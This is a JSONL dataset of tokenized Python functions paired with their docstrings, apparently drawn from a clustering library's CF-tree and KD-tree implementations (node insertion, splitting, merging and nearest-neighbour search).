{"signature": "def __init__(self, feature, parent, entries, payload):", "body": "super().__init__(feature, parent, payload);<EOL>self.type = cfnode_type.CFNODE_LEAF;<EOL>self.__entries = entries<EOL>", "docstring": "!\n        @brief Create CF Leaf node.\n\n        @param[in] feature (cfentry): Clustering feature of the created node.\n        @param[in] parent (non_leaf_node): Parent of the created node.\n        @param[in] entries (list): List of entries of the node.\n        @param[in] payload (*): Data that is stored by the node.", "id": "f15714:c5:m1"}
{"signature": "def __repr__(self):", "body": "text_entries = \"<STR_LIT:\\n>\";<EOL>for entry in self.entries:<EOL><INDENT>text_entries += \"<STR_LIT:\\t>\" + str(entry) + \"<STR_LIT:\\n>\";<EOL><DEDENT>return '<STR_LIT>' % ( hex(id(self)), self.parent, self.feature, len(self.entries), text_entries )<EOL>", "docstring": "!\n        @return (string) Default leaf node represenation.", "id": "f15714:c5:m2"}
{"signature": "def __str__(self):", "body": "return self.__repr__()<EOL>", "docstring": "!\n        @return (string) String leaf node representation.", "id": "f15714:c5:m3"}
{"signature": "def insert_entry(self, entry):", "body": "self.feature += entry;<EOL>self.entries.append(entry)<EOL>", "docstring": "!\n        @brief Insert new clustering feature to the leaf node.\n\n        @param[in] entry (cfentry): Clustering feature.", "id": "f15714:c5:m4"}
{"signature": "def remove_entry(self, entry):", "body": "self.feature -= entry;<EOL>self.entries.remove(entry)<EOL>", "docstring": "!\n        @brief Remove clustering feature from the leaf node.\n\n        @param[in] entry (cfentry): Clustering feature.", "id": "f15714:c5:m5"}
{"signature": "def merge(self, node):", "body": "self.feature += node.feature;<EOL>for entry in node.entries:<EOL><INDENT>self.entries.append(entry);<EOL><DEDENT>", "docstring": "!\n        @brief Merge leaf node to the current.\n\n        @param[in] node (leaf_node): Leaf node that should be merged with current.", "id": "f15714:c5:m6"}
{"signature": "def get_farthest_entries(self, type_measurement):", "body": "farthest_entity1 = None;<EOL>farthest_entity2 = None;<EOL>farthest_distance = <NUM_LIT:0>;<EOL>for i in range(<NUM_LIT:0>, len(self.entries)):<EOL><INDENT>candidate1 = self.entries[i];<EOL>for j in range(i + <NUM_LIT:1>, len(self.entries)):<EOL><INDENT>candidate2 = self.entries[j];<EOL>candidate_distance = candidate1.get_distance(candidate2, type_measurement);<EOL>if (candidate_distance > farthest_distance):<EOL><INDENT>farthest_distance = candidate_distance;<EOL>farthest_entity1 = candidate1;<EOL>farthest_entity2 = candidate2;<EOL><DEDENT><DEDENT><DEDENT>return [farthest_entity1, farthest_entity2]<EOL>", "docstring": "!\n        @brief Find pair of farthest entries of the node.\n\n        @param[in] type_measurement (measurement_type): Measurement type that is used for obtaining farthest entries.\n\n        @return (list) Pair of farthest entries of the node that are represented by list.", "id": "f15714:c5:m7"}
{"signature": "def get_nearest_index_entry(self, entry, type_measurement):", "body": "minimum_distance = float('<STR_LIT>');<EOL>nearest_index = <NUM_LIT:0>;<EOL>for candidate_index in range(<NUM_LIT:0>, len(self.entries)):<EOL><INDENT>candidate_distance = self.entries[candidate_index].get_distance(entry, type_measurement);<EOL>if (candidate_distance < minimum_distance):<EOL><INDENT>nearest_index = candidate_index;<EOL><DEDENT><DEDENT>return nearest_index<EOL>", "docstring": "!\n        @brief Find nearest index of nearest entry of node for the specified entry.\n\n        @param[in] entry (cfentry): Entry that is used for calculation distance.\n        @param[in] type_measurement (measurement_type): Measurement type that is used for obtaining nearest entry to the specified.\n\n        @return (uint) Index of nearest entry of node for the specified entry.", "id": "f15714:c5:m8"}
{"signature": "def get_nearest_entry(self, entry, type_measurement):", "body": "min_key = lambda cur_entity: cur_entity.get_distance(entry, type_measurement);<EOL>return min(self.__entries, key = min_key)<EOL>", "docstring": "!\n        @brief Find nearest entry of node for the specified entry.\n\n        @param[in] entry (cfentry): Entry that is used for calculation distance.\n        @param[in] type_measurement (measurement_type): Measurement type that is used for obtaining nearest entry to the specified.\n\n        @return (cfentry) Nearest entry of node for the specified entry.", "id": "f15714:c5:m9"}
{"signature": "@property<EOL><INDENT>def root(self):<DEDENT>", "body": "return self.__root<EOL>", "docstring": "!\n        @return (cfnode) Root of the tree.", "id": "f15714:c6:m0"}
{"signature": "@property<EOL><INDENT>def leafes(self):<DEDENT>", "body": "return self.__leafes<EOL>", "docstring": "!\n        @return (list) List of all non-leaf nodes in the tree.", "id": "f15714:c6:m1"}
{"signature": "@property<EOL><INDENT>def amount_nodes(self):<DEDENT>", "body": "return self.__amount_nodes<EOL>", "docstring": "!\n        @return (unit) Number of nodes (leaf and non-leaf) in the tree.", "id": "f15714:c6:m2"}
{"signature": "@property<EOL><INDENT>def amount_entries(self):<DEDENT>", "body": "return self.__amount_entries<EOL>", "docstring": "!\n        @return (uint) Number of entries in the tree.", "id": "f15714:c6:m3"}
{"signature": "@property<EOL><INDENT>def height(self):<DEDENT>", "body": "return self.__height<EOL>", "docstring": "!\n        @return (uint) Height of the tree.", "id": "f15714:c6:m4"}
{"signature": "@property<EOL><INDENT>def branch_factor(self):<DEDENT>", "body": "return self.__branch_factor<EOL>", "docstring": "!\n        @return (uint) Branching factor of the tree.\n        @details Branching factor defines maximum number of successors in each non-leaf node.", "id": "f15714:c6:m5"}
{"signature": "@property<EOL><INDENT>def threshold(self):<DEDENT>", "body": "return self.__threshold<EOL>", "docstring": "!\n        @return (double) Threshold of the tree that represents maximum diameter of sub-clusters that is formed by leaf node entries.", "id": "f15714:c6:m6"}
{"signature": "@property<EOL><INDENT>def max_entries(self):<DEDENT>", "body": "return self.__max_entries<EOL>", "docstring": "!\n        @return (uint) Maximum number of entries in each leaf node.", "id": "f15714:c6:m7"}
{"signature": "@property<EOL><INDENT>def type_measurement(self):<DEDENT>", "body": "return self.__type_measurement<EOL>", "docstring": "!\n        @return (measurement_type) Type that is used for measuring.", "id": "f15714:c6:m8"}
{"signature": "def __init__(self, branch_factor, max_entries, threshold, type_measurement = measurement_type.CENTROID_EUCLIDEAN_DISTANCE):", "body": "self.__root = None;<EOL>self.__branch_factor = branch_factor; <EOL>if (self.__branch_factor < <NUM_LIT:2>):<EOL><INDENT>self.__branch_factor = <NUM_LIT:2>;<EOL><DEDENT>self.__threshold = threshold;         <EOL>self.__max_entries = max_entries;<EOL>self.__leafes = [];<EOL>self.__type_measurement = type_measurement;<EOL>self.__amount_nodes = <NUM_LIT:0>;    <EOL>self.__amount_entries = <NUM_LIT:0>;<EOL>self.__height = <NUM_LIT:0>;          <EOL>", "docstring": "!\n        @brief Create CF-tree.\n\n        @param[in] branch_factor (uint): Maximum number of children for non-leaf nodes.\n        @param[in] max_entries (uint): Maximum number of entries for leaf nodes.\n        @param[in] threshold (double): Maximum diameter of feature clustering for each leaf node.\n        @param[in] type_measurement (measurement_type): Measurement type that is used for calculation distance metrics.", "id": "f15714:c6:m9"}
{"signature": "def get_level_nodes(self, level):", "body": "level_nodes = [];<EOL>if (level < self.__height):<EOL><INDENT>level_nodes = self.__recursive_get_level_nodes(level, self.__root);<EOL><DEDENT>return level_nodes<EOL>", "docstring": "!\n        @brief Traverses CF-tree to obtain nodes at the specified level.\n\n        @param[in] level (uint): CF-tree level from that nodes should be returned.\n\n        @return (list) List of CF-nodes that are located on the specified level of the CF-tree.", "id": "f15714:c6:m10"}
{"signature": "def __recursive_get_level_nodes(self, level, node):", "body": "level_nodes = [];<EOL>if (level is <NUM_LIT:0>):<EOL><INDENT>level_nodes.append(node);<EOL><DEDENT>else:<EOL><INDENT>for sucessor in node.successors:<EOL><INDENT>level_nodes += self.__recursive_get_level_nodes(level - <NUM_LIT:1>, sucessor);<EOL><DEDENT><DEDENT>return level_nodes<EOL>", "docstring": "!\n        @brief Traverses CF-tree to obtain nodes at the specified level recursively.\n\n        @param[in] level (uint): Current CF-tree level.\n        @param[in] node (cfnode): CF-node from that traversing is performed.\n\n        @return (list) List of CF-nodes that are located on the specified level of the CF-tree.", "id": "f15714:c6:m11"}
{"signature": "def insert_cluster(self, cluster):", "body": "entry = cfentry(len(cluster), linear_sum(cluster), square_sum(cluster));<EOL>self.insert(entry)<EOL>", "docstring": "!\n        @brief Insert cluster that is represented as list of points where each point is represented by list of coordinates.\n        @details Clustering feature is created for that cluster and inserted to the tree.\n\n        @param[in] cluster (list): Cluster that is represented by list of points that should be inserted to the tree.", "id": "f15714:c6:m12"}
{"signature": "def insert(self, entry):", "body": "if (self.__root is None):<EOL><INDENT>node = leaf_node(entry, None, [ entry ], None);<EOL>self.__root = node;<EOL>self.__leafes.append(node);<EOL>self.__amount_entries += <NUM_LIT:1>;<EOL>self.__amount_nodes += <NUM_LIT:1>;<EOL>self.__height += <NUM_LIT:1>;             <EOL><DEDENT>else:<EOL><INDENT>child_node_updation = self.__recursive_insert(entry, self.__root);<EOL>if (child_node_updation is True):<EOL><INDENT>if (self.__merge_nearest_successors(self.__root) is True):<EOL><INDENT>self.__amount_nodes -= <NUM_LIT:1>;<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "!\n        @brief Insert clustering feature to the tree.\n\n        @param[in] entry (cfentry): Clustering feature that should be inserted.", "id": "f15714:c6:m13"}
{"signature": "def find_nearest_leaf(self, entry, search_node = None):", "body": "if (search_node is None):<EOL><INDENT>search_node = self.__root;<EOL><DEDENT>nearest_node = search_node;<EOL>if (search_node.type == cfnode_type.CFNODE_NONLEAF):<EOL><INDENT>min_key = lambda child_node: child_node.feature.get_distance(entry, self.__type_measurement);<EOL>nearest_child_node = min(search_node.successors, key = min_key);<EOL>nearest_node = self.find_nearest_leaf(entry, nearest_child_node);<EOL><DEDENT>return nearest_node<EOL>", "docstring": "!\n        @brief Search nearest leaf to the specified clustering feature.\n\n        @param[in] entry (cfentry): Clustering feature.\n        @param[in] search_node (cfnode): Node from that searching should be started, if None then search process will be started for the root.\n\n        @return (leaf_node) Nearest node to the specified clustering feature.", "id": "f15714:c6:m14"}
{"signature": "def __recursive_insert(self, entry, search_node):", "body": "<EOL>if (search_node.type == cfnode_type.CFNODE_NONLEAF):<EOL><INDENT>return self.__insert_for_noneleaf_node(entry, search_node);<EOL><DEDENT>else:<EOL><INDENT>return self.__insert_for_leaf_node(entry, search_node);<EOL><DEDENT>", "docstring": "!\n        @brief Recursive insert of the entry to the tree.\n        @details It performs all required procedures during insertion such as splitting, merging.\n\n        @param[in] entry (cfentry): Clustering feature.\n        @param[in] search_node (cfnode): Node from that insertion should be started.\n\n        @return (bool) True if number of nodes at the below level is changed, otherwise False.", "id": "f15714:c6:m15"}
{"signature": "def __insert_for_leaf_node(self, entry, search_node):", "body": "node_amount_updation = False;<EOL>index_nearest_entry = search_node.get_nearest_index_entry(entry, self.__type_measurement);<EOL>merged_entry = search_node.entries[index_nearest_entry] + entry;<EOL>if (merged_entry.get_diameter() > self.__threshold):<EOL><INDENT>search_node.insert_entry(entry);<EOL>if (len(search_node.entries) > self.__max_entries):<EOL><INDENT>self.__split_procedure(search_node);<EOL>node_amount_updation = True;<EOL><DEDENT>self.__amount_entries += <NUM_LIT:1>;<EOL><DEDENT>else:<EOL><INDENT>search_node.entries[index_nearest_entry] = merged_entry;<EOL>search_node.feature += entry;<EOL><DEDENT>return node_amount_updation<EOL>", "docstring": "!\n        @brief Recursive insert entry from leaf node to the tree.\n\n        @param[in] entry (cfentry): Clustering feature.\n        @param[in] search_node (cfnode): None-leaf node from that insertion should be started.\n\n        @return (bool) True if number of nodes at the below level is changed, otherwise False.", "id": "f15714:c6:m16"}
{"signature": "def __insert_for_noneleaf_node(self, entry, search_node):", "body": "node_amount_updation = False;<EOL>min_key = lambda child_node: child_node.get_distance(search_node, self.__type_measurement);<EOL>nearest_child_node = min(search_node.successors, key = min_key);<EOL>child_node_updation = self.__recursive_insert(entry, nearest_child_node);<EOL>search_node.feature += entry;<EOL>if (len(search_node.successors) > self.__branch_factor):<EOL><INDENT>if (search_node is self.__root):<EOL><INDENT>self.__root = non_leaf_node(search_node.feature, None, [ search_node ], None);<EOL>search_node.parent = self.__root;<EOL>self.__amount_nodes += <NUM_LIT:1>;<EOL>self.__height += <NUM_LIT:1>;<EOL><DEDENT>[new_node1, new_node2] = self.__split_nonleaf_node(search_node);<EOL>parent = search_node.parent;<EOL>parent.successors.remove(search_node);<EOL>parent.successors.append(new_node1);<EOL>parent.successors.append(new_node2);<EOL>self.__amount_nodes += <NUM_LIT:1>;<EOL>node_amount_updation = True;<EOL><DEDENT>elif (child_node_updation is True):<EOL><INDENT>if (self.__merge_nearest_successors(search_node) is True):<EOL><INDENT>self.__amount_nodes -= <NUM_LIT:1>;<EOL><DEDENT><DEDENT>return node_amount_updation<EOL>", "docstring": "!\n        @brief Recursive insert entry from none-leaf node to the tree.\n\n        @param[in] entry (cfentry): Clustering feature.\n        @param[in] search_node (cfnode): None-leaf node from that insertion should be started.\n\n        @return (bool) True if number of nodes at the below level is changed, otherwise False.", "id": "f15714:c6:m17"}
{"signature": "def __merge_nearest_successors(self, node):", "body": "merging_result = False;<EOL>if (node.successors[<NUM_LIT:0>].type == cfnode_type.CFNODE_NONLEAF):<EOL><INDENT>[nearest_child_node1, nearest_child_node2] = node.get_nearest_successors(self.__type_measurement);<EOL>if (len(nearest_child_node1.successors) + len(nearest_child_node2.successors) <= self.__branch_factor):<EOL><INDENT>node.successors.remove(nearest_child_node2);<EOL>if (nearest_child_node2.type == cfnode_type.CFNODE_LEAF):<EOL><INDENT>self.__leafes.remove(nearest_child_node2);<EOL><DEDENT>nearest_child_node1.merge(nearest_child_node2);<EOL>merging_result = True;<EOL><DEDENT><DEDENT>return merging_result<EOL>", "docstring": "!\n        @brief Find nearest sucessors and merge them.\n\n        @param[in] node (non_leaf_node): Node whose two nearest successors should be merged.\n\n        @return (bool): True if merging has been successfully performed, otherwise False.", "id": "f15714:c6:m18"}
{"signature": "def __split_procedure(self, split_node):", "body": "if (split_node is self.__root):<EOL><INDENT>self.__root = non_leaf_node(split_node.feature, None, [ split_node ], None);<EOL>split_node.parent = self.__root;<EOL>self.__amount_nodes += <NUM_LIT:1>;<EOL>self.__height += <NUM_LIT:1>;<EOL><DEDENT>[new_node1, new_node2] = self.__split_leaf_node(split_node);<EOL>self.__leafes.remove(split_node);<EOL>self.__leafes.append(new_node1);<EOL>self.__leafes.append(new_node2);<EOL>parent = split_node.parent;<EOL>parent.successors.remove(split_node);<EOL>parent.successors.append(new_node1);<EOL>parent.successors.append(new_node2);<EOL>self.__amount_nodes += <NUM_LIT:1><EOL>", "docstring": "!\n        @brief Starts node splitting procedure in the CF-tree from the specify node.\n\n        @param[in] split_node (cfnode): CF-tree node that should be splitted.", "id": "f15714:c6:m19"}
{"signature": "def __split_nonleaf_node(self, node):", "body": "[farthest_node1, farthest_node2] = node.get_farthest_successors(self.__type_measurement);<EOL>new_node1 = non_leaf_node(farthest_node1.feature, node.parent, [ farthest_node1 ], None);<EOL>new_node2 = non_leaf_node(farthest_node2.feature, node.parent, [ farthest_node2 ], None);<EOL>farthest_node1.parent = new_node1;<EOL>farthest_node2.parent = new_node2;<EOL>for successor in node.successors:<EOL><INDENT>if ( (successor is not farthest_node1) and (successor is not farthest_node2) ):<EOL><INDENT>distance1 = new_node1.get_distance(successor, self.__type_measurement);<EOL>distance2 = new_node2.get_distance(successor, self.__type_measurement);<EOL>if (distance1 < distance2):<EOL><INDENT>new_node1.insert_successor(successor);<EOL><DEDENT>else:<EOL><INDENT>new_node2.insert_successor(successor);<EOL><DEDENT><DEDENT><DEDENT>return [new_node1, new_node2]<EOL>", "docstring": "!\n        @brief Performs splitting of the specified non-leaf node.\n\n        @param[in] node (non_leaf_node): Non-leaf node that should be splitted.\n\n        @return (list) New pair of non-leaf nodes [non_leaf_node1, non_leaf_node2].", "id": "f15714:c6:m20"}
{"signature": "def __split_leaf_node(self, node):", "body": "<EOL>[farthest_entity1, farthest_entity2] = node.get_farthest_entries(self.__type_measurement);<EOL>new_node1 = leaf_node(farthest_entity1, node.parent, [ farthest_entity1 ], None);<EOL>new_node2 = leaf_node(farthest_entity2, node.parent, [ farthest_entity2 ], None);<EOL>for entity in node.entries:<EOL><INDENT>if ( (entity is not farthest_entity1) and (entity is not farthest_entity2) ):<EOL><INDENT>distance1 = new_node1.feature.get_distance(entity, self.__type_measurement);<EOL>distance2 = new_node2.feature.get_distance(entity, self.__type_measurement);<EOL>if (distance1 < distance2):<EOL><INDENT>new_node1.insert_entry(entity);<EOL><DEDENT>else:<EOL><INDENT>new_node2.insert_entry(entity);<EOL><DEDENT><DEDENT><DEDENT>return [new_node1, new_node2]<EOL>", "docstring": "!\n        @brief Performs splitting of the specified leaf node.\n\n        @param[in] node (leaf_node): Leaf node that should be splitted.\n\n        @return (list) New pair of leaf nodes [leaf_node1, leaf_node2].\n\n        @warning Splitted node is transformed to non_leaf.", "id": "f15714:c6:m21"}
{"signature": "def show_feature_destibution(self, data = None):", "body": "visualizer = cluster_visualizer();<EOL>print(\"<STR_LIT>\", self.__amount_nodes);<EOL>if (data is not None):<EOL><INDENT>visualizer.append_cluster(data, marker = '<STR_LIT:x>');<EOL><DEDENT>for level in range(<NUM_LIT:0>, self.height):<EOL><INDENT>level_nodes = self.get_level_nodes(level);<EOL>centers = [ node.feature.get_centroid() for node in level_nodes ];<EOL>visualizer.append_cluster(centers, None, markersize = (self.height - level + <NUM_LIT:1>) * <NUM_LIT:5>);<EOL><DEDENT>visualizer.show()<EOL>", "docstring": "!\n        @brief Shows feature distribution.\n        @details Only features in 1D, 2D, 3D space can be visualized.\n\n        @param[in] data (list): List of points that will be used for visualization, if it not specified than feature will be displayed only.", "id": "f15714:c6:m22"}
{"signature": "def __init__(self, kdtree_instance):", "body": "self.__kdtree_instance = kdtree_instance<EOL>self.__tree_level_text  = \"<STR_LIT>\"<EOL>self.__tree_text        = \"<STR_LIT>\"<EOL>", "docstring": "!\n        @brief Initialize KD-tree text visualizer.\n\n        @param[in] kdtree_instance (kdtree): Instance of KD-Tree that should be visualized.", "id": "f15715:c0:m0"}
{"signature": "def visualize(self, display=True):", "body": "kdnodes = self.__get_nodes()<EOL>level = kdnodes[<NUM_LIT:0>]<EOL>for kdnode in kdnodes:<EOL><INDENT>self.__print_node(level, kdnode)<EOL><DEDENT>self.__tree_text += self.__tree_level_text<EOL>if display is True:<EOL><INDENT>print(self.__tree_text)<EOL><DEDENT>return self.__tree_text<EOL>", "docstring": "!\n        @brief Display KD-tree to console.\n\n        @param[in] display (bool): If 'True' then tree will be shown in console.\n\n        @return (string) Text representation of the KD-tree.", "id": "f15715:c0:m1"}
{"signature": "def __init__(self, data=None, payload=None, left=None, right=None, disc=None, parent=None):", "body": "<EOL>self.data = data<EOL>self.payload = payload<EOL>self.left = left<EOL>self.right = right<EOL>self.disc = disc<EOL>self.parent = parent<EOL>", "docstring": "!\n        @brief \n\n        @param[in] data (list): Data point that is presented as list of coodinates.\n        @param[in] payload (*): Payload of node (pointer to essense that is attached to this node).\n        @param[in] left (node): Node of KD-Tree that is represented left successor.\n        @param[in] right (node): Node of KD-Tree that is represented right successor.\n        @param[in] disc (uint): Index of dimension of that node.\n        @param[in] parent (node): Node of KD-Tree that is represented parent.", "id": "f15715:c1:m0"}
{"signature": "def __repr__(self):", "body": "left = None<EOL>right = None<EOL>if self.left is not None:<EOL><INDENT>left = self.left.data<EOL><DEDENT>if self.right is not None:<EOL><INDENT>right = self.right.data<EOL><DEDENT>return \"<STR_LIT>\" % (self.data, left, right)<EOL>", "docstring": "!\n        @return (string) Default representation of the node.", "id": "f15715:c1:m1"}
{"signature": "def __str__(self):", "body": "return self.__repr__()<EOL>", "docstring": "!\n        @return (string) String representation of the node.", "id": "f15715:c1:m2"}
{"signature": "def __init__(self, data_list = None, payload_list = None):", "body": "self.__root = None<EOL>self.__dimension = None<EOL>self.__point_comparator = None<EOL>self.__fill_tree(data_list, payload_list)<EOL>", "docstring": "!\n        @brief Create kd-tree from list of points and from according list of payloads.\n        @details If lists were not specified then empty kd-tree will be created.\n\n        @param[in] data_list (list): Insert points from the list to created KD tree.\n        @param[in] payload_list (list): Insert payload from the list to created KD tree, length should be equal to length of data_list if it is specified.", "id": "f15715:c2:m0"}
{"signature": "def insert(self, point, payload):", "body": "if self.__root is None:<EOL><INDENT>self.__dimension = len(point)<EOL>self.__root = node(point, payload, None, None, <NUM_LIT:0>)<EOL>self.__point_comparator = self.__create_point_comparator(type(point))<EOL>return self.__root<EOL><DEDENT>cur_node = self.__root<EOL>while True:<EOL><INDENT>if cur_node.data[cur_node.disc] <= point[cur_node.disc]:<EOL><INDENT>if cur_node.right is None:<EOL><INDENT>discriminator = cur_node.disc + <NUM_LIT:1><EOL>if discriminator >= self.__dimension:<EOL><INDENT>discriminator = <NUM_LIT:0><EOL><DEDENT>cur_node.right = node(point, payload, None, None, discriminator, cur_node)<EOL>return cur_node.right<EOL><DEDENT>else: <EOL><INDENT>cur_node = cur_node.right<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if cur_node.left is None:<EOL><INDENT>discriminator = cur_node.disc + <NUM_LIT:1><EOL>if discriminator >= self.__dimension:<EOL><INDENT>discriminator = <NUM_LIT:0><EOL><DEDENT>cur_node.left = node(point, payload, None, None, discriminator, cur_node)<EOL>return cur_node.left<EOL><DEDENT>else:<EOL><INDENT>cur_node = cur_node.left<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "!\n        @brief Insert new point with payload to kd-tree.\n\n        @param[in] point (list): Coordinates of the point of inserted node.\n        @param[in] payload (any-type): Payload of inserted node. It can be identificator of the node or\n                    some useful payload that belongs to the point.\n\n        @return (node) Inserted node to the kd-tree.", "id": "f15715:c2:m1"}
{"signature": "def remove(self, point, **kwargs):", "body": "<EOL>node_for_remove = None<EOL>if '<STR_LIT>' in kwargs:<EOL><INDENT>node_for_remove = self.find_node_with_payload(point, kwargs['<STR_LIT>'], None)<EOL><DEDENT>else:<EOL><INDENT>node_for_remove = self.find_node(point, None)<EOL><DEDENT>if node_for_remove is None:<EOL><INDENT>return None<EOL><DEDENT>parent = node_for_remove.parent<EOL>minimal_node = self.__recursive_remove(node_for_remove)<EOL>if parent is None:<EOL><INDENT>self.__root = minimal_node<EOL>if minimal_node is not None:<EOL><INDENT>minimal_node.parent = None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if parent.left is node_for_remove:<EOL><INDENT>parent.left = minimal_node<EOL><DEDENT>elif parent.right is node_for_remove:<EOL><INDENT>parent.right = minimal_node<EOL><DEDENT><DEDENT>return self.__root<EOL>", "docstring": "!\n        @brief Remove specified point from kd-tree.\n        @details It removes the first found node that satisfy to the input parameters. Make sure that\n                  pair (point, payload) is unique for each node, othewise the first found is removed.\n\n        @param[in] point (list): Coordinates of the point of removed node.\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'payload').\n\n        <b>Keyword Args:</b><br>\n            - payload (any): Payload of the node that should be removed.\n\n        @return (node) Root if node has been successfully removed, otherwise None.", "id": "f15715:c2:m2"}
{"signature": "def __recursive_remove(self, node_removed):", "body": "<EOL>if (node_removed.right is None) and (node_removed.left is None):<EOL><INDENT>return None<EOL><DEDENT>discriminator = node_removed.disc<EOL>if node_removed.right is None:<EOL><INDENT>node_removed.right = node_removed.left<EOL>node_removed.left = None<EOL><DEDENT>minimal_node = self.find_minimal_node(node_removed.right, discriminator)<EOL>parent = minimal_node.parent<EOL>if parent.left is minimal_node:<EOL><INDENT>parent.left = self.__recursive_remove(minimal_node)<EOL><DEDENT>elif parent.right is minimal_node:<EOL><INDENT>parent.right = self.__recursive_remove(minimal_node)<EOL><DEDENT>minimal_node.parent = node_removed.parent<EOL>minimal_node.disc = node_removed.disc<EOL>minimal_node.right = node_removed.right<EOL>minimal_node.left = node_removed.left<EOL>if minimal_node.right is not None:<EOL><INDENT>minimal_node.right.parent = minimal_node<EOL><DEDENT>if minimal_node.left is not None:<EOL><INDENT>minimal_node.left.parent = minimal_node<EOL><DEDENT>return minimal_node<EOL>", "docstring": "!\n        @brief Delete node and return root of subtree.\n\n        @param[in] node_removed (node): Node that should be removed.\n\n        @return (node) Minimal node in line with coordinate that is defined by descriminator.", "id": "f15715:c2:m3"}
{"signature": "def find_minimal_node(self, node_head, discriminator):", "body": "min_key = lambda cur_node: cur_node.data[discriminator]<EOL>stack = []<EOL>candidates = []<EOL>isFinished = False<EOL>while isFinished is False:<EOL><INDENT>if node_head is not None:<EOL><INDENT>stack.append(node_head)<EOL>node_head = node_head.left<EOL><DEDENT>else:<EOL><INDENT>if len(stack) != <NUM_LIT:0>:<EOL><INDENT>node_head = stack.pop()<EOL>candidates.append(node_head)<EOL>node_head = node_head.right<EOL><DEDENT>else:<EOL><INDENT>isFinished = True<EOL><DEDENT><DEDENT><DEDENT>return min(candidates, key = min_key)<EOL>", "docstring": "!\n        @brief Find minimal node in line with coordinate that is defined by discriminator.\n\n        @param[in] node_head (node): Node of KD tree from that search should be started.\n        @param[in] discriminator (uint): Coordinate number that is used for comparison.\n\n        @return (node) Minimal node in line with descriminator from the specified node.", "id": "f15715:c2:m4"}
{"signature": "def __fill_tree(self, data_list, payload_list):", "body": "if data_list is None or len(data_list) == <NUM_LIT:0>:<EOL><INDENT>return <EOL><DEDENT>if payload_list is None:<EOL><INDENT>for index in range(<NUM_LIT:0>, len(data_list)):<EOL><INDENT>self.insert(data_list[index], None)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for index in range(<NUM_LIT:0>, len(data_list)):<EOL><INDENT>self.insert(data_list[index], payload_list[index])<EOL><DEDENT><DEDENT>self.__point_comparator = self.__create_point_comparator(type(self.__root.data))<EOL>", "docstring": "!\n        @brief Fill KD-tree by specified data and create point comparator in line with data type.\n\n        @param[in] data_list (array_like): Data points that should be inserted to the tree.\n        @param[in] payload_list (array_like): Data point payloads that follows data points inserted to the tree.", "id": "f15715:c2:m5"}
{"signature": "def __create_point_comparator(self, type_point):", "body": "if type_point == numpy.ndarray:<EOL><INDENT>return lambda obj1, obj2: numpy.array_equal(obj1, obj2)<EOL><DEDENT>return lambda obj1, obj2: obj1 == obj2<EOL>", "docstring": "!\n        @brief Create point comparator.\n        @details In case of numpy.array specific comparator is required.\n\n        @param[in] type_point (data_type): Type of point that is stored in KD-node.\n\n        @return (callable) Callable point comparator to compare to points.", "id": "f15715:c2:m6"}
{"signature": "def __find_node_by_rule(self, point, search_rule, cur_node):", "body": "req_node = None<EOL>if cur_node is None:<EOL><INDENT>cur_node = self.__root<EOL><DEDENT>while cur_node:<EOL><INDENT>if cur_node.data[cur_node.disc] <= point[cur_node.disc]:<EOL><INDENT>if search_rule(cur_node):<EOL><INDENT>req_node = cur_node<EOL>break<EOL><DEDENT>cur_node = cur_node.right<EOL><DEDENT>else:<EOL><INDENT>cur_node = cur_node.left<EOL><DEDENT><DEDENT>return req_node<EOL>", "docstring": "!\n        @brief Search node that satisfy to parameters in search rule.\n        @details If node with specified parameters does not exist then None will be returned, \n                  otherwise required node will be returned.\n\n        @param[in] point (list): Coordinates of the point whose node should be found.\n        @param[in] search_rule (lambda): Rule that is called to check whether node satisfies to search parameter.\n        @param[in] cur_node (node): Node from which search should be started.\n\n        @return (node) Node if it satisfies to input parameters, otherwise it return None.", "id": "f15715:c2:m7"}
{"signature": "def find_node_with_payload(self, point, point_payload, cur_node = None):", "body": "rule_search = lambda node, point=point, payload=point_payload: self.__point_comparator(node.data, point) and node.payload == payload<EOL>return self.__find_node_by_rule(point, rule_search, cur_node)<EOL>", "docstring": "!\n        @brief Find node with specified coordinates and payload.\n        @details If node with specified parameters does not exist then None will be returned, \n                  otherwise required node will be returned.\n\n        @param[in] point (list): Coordinates of the point whose node should be found.\n        @param[in] point_payload (any): Payload of the node that is searched in the tree.\n        @param[in] cur_node (node): Node from which search should be started.\n\n        @return (node) Node if it satisfies to input parameters, otherwise it return None.", "id": "f15715:c2:m8"}
{"signature": "def find_node(self, point, cur_node = None):", "body": "rule_search = lambda node, point=point: self.__point_comparator(node.data, point)<EOL>return self.__find_node_by_rule(point, rule_search, cur_node)<EOL>", "docstring": "!\n        @brief Find node with coordinates that are defined by specified point.\n        @details If node with specified parameters does not exist then None will be returned, \n                  otherwise required node will be returned.\n\n        @param[in] point (list): Coordinates of the point whose node should be found.\n        @param[in] cur_node (node): Node from which search should be started.\n\n        @return (node) Node if it satisfies to input parameters, otherwise it return None.", "id": "f15715:c2:m9"}
{"signature": "def find_nearest_dist_node(self, point, distance, retdistance = False):", "body": "best_nodes = self.find_nearest_dist_nodes(point, distance)<EOL>if best_nodes == []:<EOL><INDENT>return None<EOL><DEDENT>nearest = min(best_nodes, key = lambda item: item[<NUM_LIT:0>])<EOL>if retdistance is True:<EOL><INDENT>return nearest<EOL><DEDENT>else:<EOL><INDENT>return nearest[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "!\n        @brief Find nearest neighbor in area with radius = distance.\n\n        @param[in] point (list): Maximum distance where neighbors are searched.\n        @param[in] distance (double): Maximum distance where neighbors are searched.\n        @param[in] retdistance (bool): If True - returns neighbors with distances to them, otherwise only neighbors is returned.\n\n        @return (node|list) Nearest neighbor if 'retdistance' is False and list with two elements [node, distance] if 'retdistance' is True,\n                 where the first element is pointer to node and the second element is distance to it.", "id": "f15715:c2:m10"}
{"signature": "def find_nearest_dist_nodes(self, point, distance):", "body": "best_nodes = []<EOL>if self.__root is not None:<EOL><INDENT>self.__recursive_nearest_nodes(point, distance, distance * distance, self.__root, best_nodes)<EOL><DEDENT>return best_nodes<EOL>", "docstring": "!\n        @brief Find neighbors that are located in area that is covered by specified distance.\n\n        @param[in] point (list): Coordinates that is considered as centroind for searching.\n        @param[in] distance (double): Distance from the center where seaching is performed.\n\n        @return (list) Neighbors in area that is specified by point (center) and distance (radius).", "id": "f15715:c2:m11"}
